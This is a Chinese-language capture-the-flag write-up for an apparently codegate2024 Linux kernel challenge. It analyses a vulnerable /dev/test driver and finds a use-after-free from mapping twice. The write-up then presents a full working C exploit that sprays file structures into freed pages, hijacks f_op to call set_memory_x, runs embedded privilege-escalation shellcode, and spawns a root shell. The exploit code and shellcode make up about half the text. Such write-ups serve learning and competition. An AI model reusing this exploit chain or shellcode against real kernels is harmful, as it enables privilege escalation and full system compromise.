分析
struct page *alloc_pages(gfp_t gfp_mask, unsigned int order);,order为0分配1页,1分配2页
remap_pfn_range:将一段物理内存映射到用户空间的虚拟内存中。函数内部会为p4d申请内存
/** 2 * remap_pfn_range - remap kernel memory to userspace 3 * @vma: user vma to map to 4 * @addr: target user address to start at 5 * @pfn: physical address of kernel memory 6 * @size: size of map area 7 * @prot: page protection flags for this mapping 8 * 9 * Note: this is only safe if the mm semaphore is held when called. 10 */ 11 int remap_pfn_range(struct vm_area_struct *vma, unsigned long addr, 12 unsigned long pfn, unsigned long size, pgprot_t prot);
down_write和up_write读写锁
void zap_vma_ptes(struct vm_area_struct * vma, unsigned long address, unsigned long size),remove ptes mapping the vma
open:alloc_pages依次申请了四个物理页面ABCD,并将BCD清0,将D开头写入{codegate2024}
read:从C读取内容
mmap:页ABC可以作为单个0x3000大小的映射映射到用户地址空间,vma结构体会被存在全局变量backing_vma。之后再调用mmap,这个全局变量会被覆盖,结构体没有做清除
write:将写入的字节(最多0x700)复制到页B,实现了一个类似编辑距离(Levenshtein distance)的算法在B和C之间计算相似度,如果B中数据长度超过0x700则释放页A、B和C,删除backing_vma并用zap_vma_ptes刷新页表项
release:释放A、B、C页面并zap刷新页表项
v4 = (page_offset_base + ((v3 - vmemmap_base) >> 6 << 12));
计算 vmemmap 偏移量:从 vmemmap 基地址计算出偏移量。
计算页号:将偏移量转换为页号。
计算页地址:将页号转换为页的起始地址。
计算虚拟地址:将页地址转换为内核直接映射区的虚拟地址。
open的时候,v2 = kmalloc_trace(kmalloc_caches[5], 0xDC0LL, 0x20LL);用来存页面物理地址,v2[0]=B,v2[1]=C,v2[2]=A,v2[3]=D,*(a2 + 0xC8) = v2存起来
在read里v3 = *(a1 + 0xC8);v5 = v3[1];取出C;write里面v3 = *(a1 + 0xC8);v4 = copy_from_user(page_offset_base + ((*v3 - vmemmap_base) >> 6 << 12), a2, a3);复制到B
利用
可以mmap两次,然后write触发free操作,free操作会将之前映射的地址free掉,但由于mmap了两次,在第二次mmap时没有对之前映射的内容做清除,存在UAF
首先用找到一个[[../../pwn/linux kernel/0 basic/file结构体]]页对齐,修改f_op指针,并布置其中llseak函数指针为set_memory_x,之后使用lseak64(fd, 1, SEEK_SET)触发set_memory_x,set_memory_x函数定义为int set_memory_x(unsigned long addr, int numpages);,此时正好第一个参数为file结构体起始地址 页对齐,第二个参数布置为1,修改当前页为可执行权限
接着布置好提权shellcode,将llseak指针修改指向shellcode,最后触发即可
执行binsh前需要将修改的fops指针恢复
exp
#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/fcntl.h> #include <sys/mman.h> #include <unistd.h> #define CHECK(x) ({ errno = 0; typeof(x) __x = (x); if(errno) { perror(#x); exit(1); } __x; }) int main() { char buf[4096]; memset(buf, 0xcc, 4096); int fd = CHECK(open("/dev/test", O_RDWR)); // int fd2 = CHECK(open("/dev/test", O_RDWR)); // mmap twice to set backing_vm to file 2 CHECK(mmap((void*)0x30000, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, fd, 0)); CHECK(mmap((void*)0x33000, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, fd, 0)); // printf("[+] a: %p", 0x30000); // write 0x701-length b to cause write to free all pages memset((void*)0x30000, 0x0, 0x3000); memset((void*)0x30000 + 0x1000, 0xcc, 0x1000); CHECK(write(fd, "a", 1)); // spray file structures into freed pages int fds[0x100]; for(int i=0; i<0x100; i++) { fds[i] = CHECK(open("/dev/urandom", O_RDONLY)); } // look for page-aligned file structure for overwrite CHECK(write(fd, "a", 1)); unsigned long *ax = (unsigned long *)0x30000; unsigned long kernel_base = 0; unsigned long file_base = 0; unsigned long *file_ax = 0; for(int i=0; i<0x3000; i+=0x1000) { if(ax[i + 0x30 >> 3] == ax[i + 0x38 >> 3] && (ax[i + 0x30 >> 3] & 0xfff) == 0x30 && (ax[i + 0xb0 >> 3] & 0xfffff) == 0x91700) { file_base = ax[i + 0x30 >> 3] - 0x30; file_ax = &ax[i >> 3]; kernel_base = ax[i + 0xb0 >> 3] - 0x2291700L; break; } } printf("[+] kernel_base: 0x%lx\n", kernel_base); printf("[+] file_base: 0x%lx\n", file_base); printf("[+] file_ax: %p\n", file_ax); // disable read and see which fd fails to read file_ax[0x10/0x8] &= ~(1L << 32); int goodfd = -1; for(int i=0; i<0x100; i++) { if(read(fds[i], buf, 1) < 0) { printf("fd %d: %s\n", fds[i], strerror(errno)); goodfd = fds[i]; break; } } if(goodfd == -1) { printf("oops2\n"); return 1; } printf("good fd = %d\n", goodfd); // treat space after the file as scratch space char backup[0x100]; memcpy(backup, &file_ax[0x100/0x8], 0x100); file_ax[0x108/0x8] = 0x107b800L + kernel_base; // set_memory_x file_ax[0xb0/0x8] = file_base + 0x100L; //hijack f_ops lseek64(goodfd, 1, SEEK_SET); // shellcode exec file_ax[0x108/0x8] = file_base + 0x110L; const char shellcode[] = "SH\213\35\36\0\0\0H\215\273\200\311\240\2H\215\203\0\304\v\1\377\320H\211\307H\215\203p\301\v\1\377\320[\303AAAAAAAA"; memcpy(&file_ax[0x110/0x8], shellcode, sizeof(shellcode)); memcpy((char *)&file_ax[0x110/0x8] + sizeof(shellcode) - 9, &kernel_base, 8); printf("executing shellcode!\n"); lseek64(goodfd, 1, SEEK_SET); printf("good to go!\n"); file_ax[0xb0/0x8] = 0x2291700L + kernel_base; // restore fops system("/bin/sh"); }